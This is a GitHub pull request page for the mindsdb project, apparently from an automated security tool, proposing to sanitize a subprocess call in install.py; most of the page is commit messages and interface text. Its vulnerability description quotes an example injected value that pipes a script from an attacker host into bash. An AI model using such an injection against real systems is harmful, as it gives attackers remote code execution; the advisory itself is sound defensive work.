fix: sanitize subprocess call in install.py#12430
Open
orbisai0security wants to merge 794 commits into
Open
Conversation
…/fix-tests-for-community-handlers
… data and fetch all records
Co-authored-by: Minura Punchihewa <minurapunchihewa17@gmail.com> Co-authored-by: Max Stepanov <stpmax@yandex.ru>
…-2146-hubspot-multitable-join
…r's dependencies (mindsdb#12234)
Bumps [python-multipart](https://github.com/Kludex/python-multipart) from 0.0.20 to 0.0.26. - [Release notes](https://github.com/Kludex/python-multipart/releases) - [Changelog](https://github.com/Kludex/python-multipart/blob/master/CHANGELOG.md) - [Commits](Kludex/python-multipart@0.0.20...0.0.26) --- updated-dependencies: - dependency-name: python-multipart dependency-version: 0.0.26 dependency-type: direct:production ... Signed-off-by: dependabot[bot] <support@github.com>
Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: Jorge Torres <jorge.torres.maldonado@gmail.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Max Stepanov <stpmax@yandex.ru>
…n-multipart-0.0.26
Co-authored-by: Lucas Koontz <lucas.emanuel.koontz@gmail.com> Co-authored-by: Minura Punchihewa <49385643+MinuraPunchihewa@users.noreply.github.com> Co-authored-by: Jorge Torres <jorge.torres.maldonado@gmail.com> Co-authored-by: Konstantin Sivakov <konstantin.sivakov@gmail.com> Co-authored-by: Zoran Pandovski <zoran.pandovski@gmail.com>
Automated security fix generated by Orbis Security AI
Contributor
|
Automatic Review Skipped Too many files for automatic review. If you would still like a review, you can trigger one manually by commenting: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
20 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fix critical severity security issue in
mindsdb/integrations/utilities/install.py.Vulnerability
V-001mindsdb/integrations/utilities/install.py:41Description: The subprocess.Popen call at install.py:41 is used for installing integration packages. If the package name or installation arguments are derived from user-supplied input (e.g., via API requests specifying which handler to install), an attacker can inject shell metacharacters (e.g., '; curl attacker.com/shell.sh | bash') to execute arbitrary OS commands with the privileges of the MindsDB process. The security assessment identifies this as a command execution operation reachable via user input.
Changes
mindsdb/integrations/utilities/install.pyVerification
Automated security fix by OrbisAI Security